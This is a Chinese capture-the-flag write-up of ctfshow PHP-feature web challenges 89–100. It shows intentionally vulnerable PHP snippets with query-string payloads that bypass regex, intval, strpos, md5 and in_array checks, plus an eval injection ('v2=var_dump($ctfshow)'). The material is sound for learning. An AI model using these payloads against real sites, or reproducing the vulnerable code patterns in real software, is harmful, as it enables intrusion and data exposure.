Ctfshow Web入门 - PHP特性(待续)

Web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

num数组绕过

?num[]=0

 

 

Web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

 

Ctfshow Web入门 - PHP特性(待续)

base为0,在传参时添加0x绕过

?num=0x117c

 

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

字符 ^ 和 $ 同时使用时,表示精确匹配

/i匹配大小写,/m匹配换行,一般不加/m是不匹配换行以后的左右两端的内容

由于匹配是要以php开头,我们可以在php之前加上换行绕过

?cmd=%0aphp

 

Web92-95

解法相似

1.利用90题中intval的特性使用不同进制绕过

2.多了一句判断

if(!strpos($num, "0")){
        die("no no no!!!");
    } 

Ctfshow Web入门 - PHP特性(待续)

看似没法继续用八进制绕过,其实使用非数字符号可以绕过,让查找返回false

<?php
$s=' saber';
if(!strpos($s, "s")){
    echo("no!");
}
else
    echo("yes!")
?>

payload举例:

?num=%20010574

 

Web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    } 

没想到啥,看payload是加./绕过的,读取当前目录下

 

Web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} 

经典的md5碰撞,参考我的另一篇博客:https://www.cnblogs.com/echoDetected/p/12309225.html

 但这里没法实现,原因不明

拿数组可以绕过a[]=1&b[]=2

Ctfshow Web入门 - PHP特性(待续)

 

Web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

 参考了https://www.cnblogs.com/NPFS/p/13798533.html

html的三元运算符

$_GET?$_GET=&$_POST:'flag';
表示如果GET传参,则用POST传参flag覆盖

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
同理如果GET传参是flag字符串,则用cookie传参的flag覆盖
以下同理
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 
如果传参的HTTP_FLAG为flag字符串,则读取flag文件,最后highlight显示

就是说GET要传参,但不能传flag,要拿POST的HTTP_FLAG传flag

 

Web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
} 

Ctfshow Web入门 - PHP特性(待续)

Ctfshow Web入门 - PHP特性(待续)

Ctfshow Web入门 - PHP特性(待续)

Ctfshow Web入门 - PHP特性(待续)

首先是定义一个数组,然后向数组里面插入随机数,当GET传参的内容符合数组里随机数时,向传参名字的文件里写入POST的content内容

不是很懂怎么解法,看了hint

//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换
//eg:n=1.php自动转换为1

就是说in_array()的type没有设置为true,则不存在的值会不检测,自动转换

Ctfshow Web入门 - PHP特性(待续)

Ctfshow Web入门 - PHP特性(待续)

Ctfshow Web入门 - PHP特性(待续)

 

Web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

ctfshow类开辟空间,提示我们flag在ctfshow类里面

看了代码有迷惑我们的$v2('ctfshow')$v3,其中v2肯定是命令,v3传分号,中间的('ctfshow')是没有用的

v0是三个值相与,v2和v3不传数字和v1数字相与就为1

payload:

?v1=1&v2=var_dump($ctfshow)&v3=;

或者v3直接用内联注释注释掉

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

Ctfshow Web入门 - PHP特性(待续)

到这一步看不懂编码问题,问了出题人才知道,替换0x2d(十六进制ASCII的‘-’符号)

上一篇:CTFSHOW黑盒测试篇


下一篇:CTFShow-Web入门-文件包含 78-